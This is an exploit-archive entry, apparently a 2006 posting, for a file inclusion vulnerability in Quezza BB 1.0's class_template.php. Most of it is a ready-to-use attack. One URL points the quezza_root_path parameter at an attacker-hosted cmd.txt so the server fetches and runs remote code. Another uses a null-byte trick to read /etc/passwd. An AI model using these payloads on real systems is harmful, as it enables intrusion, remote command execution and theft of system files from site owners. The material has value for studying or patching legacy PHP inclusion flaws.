[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability
# Published : 2006-05-17
# Author : nukedx
# Previous Title : phpMyDirectory <= 10.4.4 (ROOT_PATH) Remote Inclusion Vulnerability
# Next Title : ScozNews <= 1.2.1 (mainpath) Remote File Inclusion Vulnerability
Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability.
Method found by nukedx,
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploit works on Quezza BB <= 1.0
Original advisory can be found at: http://www.nukedx.com/?viewdoc=30
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=http://yourhost.com/cmd.txt?
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=/etc/passwd%00
Succesful exploitation register_globals on for both examples.
# nukedx.com [2006-04-21]
# www.Syue.com [2006-05-17]